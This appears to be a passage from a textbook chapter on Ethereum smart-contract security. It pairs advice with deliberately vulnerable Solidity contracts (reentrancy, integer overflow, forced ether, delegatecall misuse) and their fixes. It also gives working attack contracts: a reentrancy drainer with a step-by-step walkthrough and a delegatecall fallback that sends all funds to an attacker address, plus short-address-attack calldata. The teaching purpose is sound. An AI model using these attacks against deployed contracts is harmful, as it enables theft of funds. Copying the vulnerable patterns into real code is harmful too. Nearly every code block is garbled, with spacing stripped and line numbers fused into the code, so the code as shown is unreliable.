Complexity is the enemy of security. The simpler the code, and the less it does, the lower the chances are of a bug or unforeseen effect occurring. When first engaging in smart contract programming, developers are often tempted to try to write a lot of code. Instead, you should look through your smart contract code and try to find ways to do less, with fewer lines of code, less complexity, and fewer “features.” If someone tells you that their project has produced “thousands of lines of code” for their smart contracts, you should question the security of that project. Simpler is more secure.
Try not to reinvent the wheel. If a library or contract already exists that does most of what you need, reuse it. Within your own code, follow the DRY principle: Don’t Repeat Yourself. If you see any snippet of code repeated more than once, ask yourself whether it could be written as a function or library and reused. Code that has been extensively used and tested is likely more secure than any new code you write. Beware of “Not Invented Here” syndrome, where you are tempted to “improve” a feature or component by building it from scratch. The security risk is often greater than the improvement value.
Smart contract code is unforgiving. Every bug can lead to monetary loss. You should not treat smart contract programming the same way as general-purpose programming. Writing DApps in Solidity is not like creating a web widget in JavaScript. Rather, you should apply rigorous engineering and software development methodologies, as you would in aerospace engineering or any similarly unforgiving discipline. Once you “launch” your code, there’s little you can do to fix any problems.
Your code should be clear and easy to comprehend. The easier it is to read, the easier it is to audit. Smart contracts are public, as everyone can read the bytecode and anyone can reverse-engineer it. Therefore, it is beneficial to develop your work in public, using collaborative and open source methodologies, to draw upon the collective wisdom of the developer community and benefit from the highest common denominator of open source development. You should write code that is well documented and easy to read, following the style and naming conventions that are part of the Ethereum community.
Test everything that you can. Smart contracts run in a public execution environment, where anyone can execute them with whatever input they want. You should never assume that input, such as function arguments, is well formed, properly bounded, or has a benign purpose. Test all arguments to make sure they are within expected ranges and properly formatted before allowing execution of your code to continue.
1contractEtherStore{2 3uint256publicwithdrawalLimit=1ether;4mapping(address=>uint256)publiclastWithdrawTime;5mapping(address=>uint256)publicbalances;6 7functiondepositFunds()publicpayable{8balances[msg.sender]+=msg.value;9}10 11functionwithdrawFunds(uint256_weiToWithdraw)public{12require(balances[msg.sender]>=_weiToWithdraw);13// limit the withdrawal14require(_weiToWithdraw<=withdrawalLimit);15// limit the time allowed to withdraw16require(now>=lastWithdrawTime[msg.sender]+1weeks);17require(msg.sender.call.value(_weiToWithdraw)());18balances[msg.sender]-=_weiToWithdraw;19lastWithdrawTime[msg.sender]=now;20}21}
1import"EtherStore.sol";2 3contractAttack{4EtherStorepublicetherStore;5 6// intialize the etherStore variable with the contract address7constructor(address_etherStoreAddress){8etherStore=EtherStore(_etherStoreAddress);9}10 11functionattackEtherStore()publicpayable{12// attack to the nearest ether13require(msg.value>=1ether);14// send eth to the depositFunds() function15etherStore.depositFunds.value(1ether)();16// start the magic17etherStore.withdrawFunds(1ether);18}19 20functioncollectEther()public{21msg.sender.transfer(this.balance);22}23 24// fallback function - where the magic happens25function()payable{26if(etherStore.balance>1ether){27etherStore.withdrawFunds(1ether);28}29}30}
Attack.sol, line 15: The depositFunds function of the EtherStore
contract will be called with a msg.value of 1 ether (and a lot of gas). The
sender (msg.sender) will be the malicious contract (0x0...123). Thus,
balances[0x0..123] = 1 ether.
Attack.sol, line 17: The malicious contract will then call the
withdrawFunds function of the EtherStore contract with a parameter of 1
ether. This will pass all the requirements (lines 12–16 of the
EtherStore contract) as no previous withdrawals have been made.
EtherStore.sol, line 17: The contract will send 1 ether back to
the malicious contract.
Attack.sol, line 25: The payment to the malicious contract will then execute the fallback function.
Attack.sol, line 26: The total balance of the EtherStore contract was
10 ether and is now 9 ether, so this if statement passes.
Attack.sol, line 27: The fallback function calls the EtherStore
withdrawFunds function again and reenters the EtherStore
contract.
EtherStore.sol, line 11: In this second call to withdrawFunds, the
attacking contract’s balance is still 1 ether as line 18 has not yet been executed. Thus, we
still have balances[0x0..123] = 1 ether. This is also the case for the
lastWithdrawTime variable. Again, we pass all the requirements.
EtherStore.sol, line 17: The attacking contract withdraws another 1 ether.
Steps 4–8 repeat until it is no longer the case that EtherStore.balance > 1, as dictated by line 26 in Attack.sol.
Attack.sol, line 26: Once there is 1 (or less) ether left in the EtherStore contract, this if statement will fail. This will then allow lines 18 and 19 of the EtherStore contract to be executed (for each call to the withdrawFunds function).
EtherStore.sol, lines 18 and 19: The balances and
lastWithdrawTime mappings will be set and the execution will end.
1contractEtherStore{2 3// initialize the mutex4boolreEntrancyMutex=false;5uint256publicwithdrawalLimit=1ether;6mapping(address=>uint256)publiclastWithdrawTime;7mapping(address=>uint256)publicbalances;8 9functiondepositFunds()publicpayable{10balances[msg.sender]+=msg.value;11}12 13functionwithdrawFunds(uint256_weiToWithdraw)public{14require(!reEntrancyMutex);15require(balances[msg.sender]>=_weiToWithdraw);16// limit the withdrawal17require(_weiToWithdraw<=withdrawalLimit);18// limit the time allowed to withdraw19require(now>=lastWithdrawTime[msg.sender]+1weeks);20balances[msg.sender]-=_weiToWithdraw;21lastWithdrawTime[msg.sender]=now;22// set the reEntrancy mutex before the external call23reEntrancyMutex=true;24msg.sender.transfer(_weiToWithdraw);25// release the mutex after the external call26reEntrancyMutex=false;27}28}
1contractTimeLock{2 3mapping(address=>uint)publicbalances;4mapping(address=>uint)publiclockTime;5 6functiondeposit()publicpayable{7balances[msg.sender]+=msg.value;8lockTime[msg.sender]=now+1weeks;9}10 11functionincreaseLockTime(uint_secondsToIncrease)public{12lockTime[msg.sender]+=_secondsToIncrease;13}14 15functionwithdraw()public{16require(balances[msg.sender]>0);17require(now>lockTime[msg.sender]);18balances[msg.sender]=0;19msg.sender.transfer(balance);20}21}
1pragma solidity^0.4.18;2 3contractToken{4 5mapping(address=>uint)balances;6uintpublictotalSupply;7 8functionToken(uint_initialSupply){9balances[msg.sender]=totalSupply=_initialSupply;10}11 12functiontransfer(address_to,uint_value)publicreturns(bool){13require(balances[msg.sender]-_value>=0);14balances[msg.sender]-=_value;15balances[_to]+=_value;16returntrue;17}18 19functionbalanceOf(address_owner)publicconstantreturns(uintbalance){20returnbalances[_owner];21}22}
1librarySafeMath{2 3functionmul(uint256a,uint256b)internalpurereturns(uint256){4if(a==0){5return0;6}7uint256c=a*b;8assert(c/a==b);9returnc;10}11 12functiondiv(uint256a,uint256b)internalpurereturns(uint256){13// assert(b > 0); // Solidity automatically throws when dividing by 014uint256c=a/b;15// assert(a == b * c + a % b); // This holds in all cases16returnc;17}18 19functionsub(uint256a,uint256b)internalpurereturns(uint256){20assert(b<=a);21returna-b;22}23 24functionadd(uint256a,uint256b)internalpurereturns(uint256){25uint256c=a+b;26assert(c>=a);27returnc;28}29}30 31contractTimeLock{32usingSafeMathforuint;// use the library for uint type33mapping(address=>uint256)publicbalances;34mapping(address=>uint256)publiclockTime;35 36functiondeposit()publicpayable{37balances[msg.sender]=balances[msg.sender].add(msg.value);38lockTime[msg.sender]=now.add(1weeks);39}40 41functionincreaseLockTime(uint256_secondsToIncrease)public{42lockTime[msg.sender]=lockTime[msg.sender].add(_secondsToIncrease);43}44 45functionwithdraw()public{46require(balances[msg.sender]>0);47require(now>lockTime[msg.sender]);48balances[msg.sender]=0;49msg.sender.transfer(balance);50}51}
Any contract is able to implement the
selfdestruct
function, which removes all bytecode from the contract address and sends
all ether stored there to the parameter-specified address. If this
specified address is also a contract, no functions (including the
fallback) get called. Therefore, the selfdestruct function can be
used to forcibly send ether to any contract regardless of any code that
may exist in the contract, even contracts with no
payable functions. This means any attacker can create a contract with a
selfdestruct function, send ether to it, call selfdestruct(target)
and force ether to be sent to a target contract. Martin Swende has an
excellent blog post describing some quirks of the self-destruct opcode (Quirk #2) along with
an account of how client nodes were checking incorrect invariants,
which could have led to a rather catastrophic crash of the Ethereum network.
Another way to get ether into a contract is to preload the contract address
with ether. Contract addresses are deterministic—in fact, the address is
calculated from the Keccak-256 (commonly synonymous with SHA-3) hash of the
address creating the contract and the transaction nonce that creates the
contract. Specifically, it is of the form address = sha3(rlp.encode([account_address,transaction_nonce]))
(see Adrian Manning’s discussion of “Keyless Ether” for some fun use cases of this). This
means anyone can calculate what a contract’s address will be before it is
created and send ether to that address. When the contract is
created it will have a nonzero ether balance.
1contractEtherGame{2 3uintpublicpayoutMileStone1=3ether;4uintpublicmileStone1Reward=2ether;5uintpublicpayoutMileStone2=5ether;6uintpublicmileStone2Reward=3ether;7uintpublicfinalMileStone=10ether;8uintpublicfinalReward=5ether;9 10mapping(address=>uint)redeemableEther;11// Users pay 0.5 ether. At specific milestones, credit their accounts.12functionplay()publicpayable{13require(msg.value==0.5ether);// each play is 0.5 ether14uintcurrentBalance=this.balance+msg.value;15// ensure no players after the game has finished16require(currentBalance<=finalMileStone);17// if at a milestone, credit the player's account18if(currentBalance==payoutMileStone1){19redeemableEther[msg.sender]+=mileStone1Reward;20}21elseif(currentBalance==payoutMileStone2){22redeemableEther[msg.sender]+=mileStone2Reward;23}24elseif(currentBalance==finalMileStone){25redeemableEther[msg.sender]+=finalReward;26}27return;28}29 30functionclaimReward()public{31// ensure the game is complete32require(this.balance==finalMileStone);33// ensure there is a reward to give34require(redeemableEther[msg.sender]>0);35redeemableEther[msg.sender]=0;36msg.sender.transfer(transferValue);37}38}
1contractEtherGame{2 3uintpublicpayoutMileStone1=3ether;4uintpublicmileStone1Reward=2ether;5uintpublicpayoutMileStone2=5ether;6uintpublicmileStone2Reward=3ether;7uintpublicfinalMileStone=10ether;8uintpublicfinalReward=5ether;9uintpublicdepositedWei;10 11mapping(address=>uint)redeemableEther;12 13functionplay()publicpayable{14require(msg.value==0.5ether);15uintcurrentBalance=depositedWei+msg.value;16// ensure no players after the game has finished17require(currentBalance<=finalMileStone);18if(currentBalance==payoutMileStone1){19redeemableEther[msg.sender]+=mileStone1Reward;20}21elseif(currentBalance==payoutMileStone2){22redeemableEther[msg.sender]+=mileStone2Reward;23}24elseif(currentBalance==finalMileStone){25redeemableEther[msg.sender]+=finalReward;26}27depositedWei+=msg.value;28return;29}30 31functionclaimReward()public{32// ensure the game is complete33require(depositedWei==finalMileStone);34// ensure there is a reward to give35require(redeemableEther[msg.sender]>0);36redeemableEther[msg.sender]=0;37msg.sender.transfer(transferValue);38}39}
1// library contract - calculates Fibonacci-like numbers2contractFibonacciLib{3// initializing the standard Fibonacci sequence4uintpublicstart;5uintpubliccalculatedFibNumber;6 7// modify the zeroth number in the sequence8functionsetStart(uint_start)public{9start=_start;10}11 12functionsetFibonacci(uintn)public{13calculatedFibNumber=fibonacci(n);14}15 16functionfibonacci(uintn)internalreturns(uint){17if(n==0)returnstart;18elseif(n==1)returnstart+1;19elsereturnfibonacci(n-1)+fibonacci(n-2);20}21}
1contractFibonacciBalance{2 3addresspublicfibonacciLibrary;4// the current Fibonacci number to withdraw5uintpubliccalculatedFibNumber;6// the starting Fibonacci sequence number7uintpublicstart=3;8uintpublicwithdrawalCounter;9// the Fibonancci function selector10bytes4constantfibSig=bytes4(sha3("setFibonacci(uint256)"));11 12// constructor - loads the contract with ether13constructor(address_fibonacciLibrary)publicpayable{14fibonacciLibrary=_fibonacciLibrary;15}16 17functionwithdraw(){18withdrawalCounter+=1;19// calculate the Fibonacci number for the current withdrawal user-20// this sets calculatedFibNumber21require(fibonacciLibrary.delegatecall(fibSig,withdrawalCounter));22msg.sender.transfer(calculatedFibNumber*1ether);23}24 25// allow users to call Fibonacci library functions26function()public{27require(fibonacciLibrary.delegatecall(msg.data));28}29}
1contractAttack{2uintstorageSlot0;// corresponds to fibonacciLibrary3uintstorageSlot1;// corresponds to calculatedFibNumber4 5// fallback - this will run if a specified function is not found6function()public{7storageSlot1=0;// we set calculatedFibNumber to 0, so if withdraw8// is called we don't send out any ether9<attacker_address>.transfer(this.balance);// we take all the ether10}11}
1contractWalletLibraryisWalletEvents{2 3...4 5// throw unless the contract is not yet initialized.6modifieronly_uninitialized{if(m_numOwners>0)throw;_;}7 8// constructor - just pass on the owner array to multiowned and9// the limit to daylimit10functioninitWallet(address[]_owners,uint_required,uint_daylimit)11only_uninitialized{12initDaylimit(_daylimit);13initMultiowned(_owners,_required);14}15 16// kills the contract sending everything to `_to`.17functionkill(address_to)onlymanyowners(sha3(msg.data))external{18suicide(_to);19}20 21...22 23}
1contractWalletisWalletEvents{2 3...4 5// METHODS6 7// gets called when no other function matches8function()payable{9// just being sent some cash?10if(msg.value>0)11Deposit(msg.sender,msg.value);12elseif(msg.data.length>0)13_walletLibrary.delegatecall(msg.data);14}15 16...17 18// FIELDS19addressconstant_walletLibrary=200xcafecafecafecafecafecafecafecafecafecafe;21}
1contractHashForEther{2 3functionwithdrawWinnings(){4// Winner if the last 8 hex characters of the address are 05require(uint32(msg.sender)==0);6_sendWinnings();7}8 9function_sendWinnings(){10msg.sender.transfer(this.balance);11}12}
1contractWalletLibraryisWalletEvents{2 3...4 5// METHODS6 7...8 9// constructor is given number of sigs required to do protected10// "onlymanyowners" transactionsas well as the selection of addresses11// capable of confirming them12functioninitMultiowned(address[]_owners,uint_required){13m_numOwners=_owners.length+1;14m_owners[1]=uint(msg.sender);15m_ownerIndex[uint(msg.sender)]=1;16for(uinti=0;i<_owners.length;++i)17{18m_owners[2+i]=uint(_owners[i]);19m_ownerIndex[uint(_owners[i])]=2+i;20}21m_required=_required;22}23 24...25 26// constructor - just pass on the owner array to multiowned and27// the limit to daylimit28functioninitWallet(address[]_owners,uint_required,uint_daylimit){29initDaylimit(_daylimit);30initMultiowned(_owners,_required);31}32}
1// encryption contract2contractRot13Encryption{3 4eventResult(stringconvertedString);5 6// rot13-encrypt a string7functionrot13Encrypt(stringtext)public{8uint256length=bytes(text).length;9for(vari=0;i<length;i++){10bytechar=bytes(text)[i];11// inline assembly to modify the string12assembly{13// get the first byte14char:=byte(0,char)15// if the character is in [n,z], i.e. wrapping16ifand(gt(char,0x6D),lt(char,0x7B))17// subtract from the ASCII number 'a',18// the difference between character <char> and 'z'19{char:=sub(0x60,sub(0x7A,char))}20ifiszero(eq(char,0x20))// ignore spaces21// add 13 to char22{mstore8(add(add(text,0x20),mul(i,1)),add(char,13))}23}24}25emitResult(text);26}27 28// rot13-decrypt a string29functionrot13Decrypt(stringtext)public{30uint256length=bytes(text).length;31for(vari=0;i<length;i++){32bytechar=bytes(text)[i];33assembly{34char:=byte(0,char)35ifand(gt(char,0x60),lt(char,0x6E))36{char:=add(0x7B,sub(char,0x61))}37ifiszero(eq(char,0x20))38{mstore8(add(add(text,0x20),mul(i,1)),sub(char,13))}39}40}41emitResult(text);42}43}
1import"Rot13Encryption.sol";2 3// encrypt your top-secret info4contractEncryptionContract{5// library for encryption6Rot13EncryptionencryptionLibrary;7 8// constructor - initialize the library9constructor(Rot13Encryption_encryptionLibrary){10encryptionLibrary=_encryptionLibrary;11}12 13functionencryptPrivateData(stringprivateInfo){14// potentially do some operations here15encryptionLibrary.rot13Encrypt(privateInfo);16}17}
1// encryption contract2contractRot26Encryption{3 4eventResult(stringconvertedString);5 6// rot13-encrypt a string7functionrot13Encrypt(stringtext)public{8uint256length=bytes(text).length;9for(vari=0;i<length;i++){10bytechar=bytes(text)[i];11// inline assembly to modify the string12assembly{13// get the first byte14char:=byte(0,char)15// if the character is in [n,z], i.e. wrapping16ifand(gt(char,0x6D),lt(char,0x7B))17// subtract from the ASCII number 'a',18// the difference between character <char> and 'z'19{char:=sub(0x60,sub(0x7A,char))}20// ignore spaces21ifiszero(eq(char,0x20))22// add 26 to char!23{mstore8(add(add(text,0x20),mul(i,1)),add(char,26))}24}25}26emitResult(text);27}28 29// rot13-decrypt a string30functionrot13Decrypt(stringtext)public{31uint256length=bytes(text).length;32for(vari=0;i<length;i++){33bytechar=bytes(text)[i];34assembly{35char:=byte(0,char)36ifand(gt(char,0x60),lt(char,0x6E))37{char:=add(0x7B,sub(char,0x61))}38ifiszero(eq(char,0x20))39{mstore8(add(add(text,0x20),mul(i,1)),sub(char,26))}40}41}42emitResult(text);43}44}
1contract{2event(stringtext);3 4functionrot13Encrypt(stringtext)public{5emit(text);6}7}
1contractBlank{2event(stringtext);3function(){4emit("Here");5// put malicious code here and it will run6}7}
constructor(){encryptionLibrary=newRot13Encryption();}
1pragma solidity^0.4.19;2 3contractPrivate_Bank4{5mapping(address=>uint)publicbalances;6uintpublicMinDeposit=1ether;7LogTransferLog;8 9functionPrivate_Bank(address_log)10{11TransferLog=Log(_log);12}13 14functionDeposit()15public16payable17{18if(msg.value>=MinDeposit)19{20balances[msg.sender]+=msg.value;21TransferLog.AddMessage(msg.sender,msg.value,"Deposit");22}23}24 25functionCashOut(uint_am)26{27if(_am<=balances[msg.sender])28{29if(msg.sender.call.value(_am)())30{31balances[msg.sender]-=_am;32TransferLog.AddMessage(msg.sender,_am,"CashOut");33}34}35}36 37function()publicpayable{}38 39}40 41contractLog42{43structMessage44{45addressSender;46stringData;47uintVal;48uintTime;49}50 51Message[]publicHistory;52MessageLastMsg;53 54functionAddMessage(address_adr,uint_val,string_data)55public56{57LastMsg.Sender=_adr;58LastMsg.Time=now;59LastMsg.Val=_val;60LastMsg.Data=_data;61History.push(LastMsg);62}63}
functiontransfer(addressto,uinttokens)publicreturns(boolsuccess);
a9059cbb000000000000000000000000deaddeaddea \ ddeaddeaddeaddeaddeaddeaddead0000000000000 000000000000000000000000000000000056bc75e2d63100000
a9059cbb000000000000000000000000deaddeaddea \ ddeaddeaddeaddeaddeaddeadde00000000000000 00000000000000000000000000000000056bc75e2d6310000000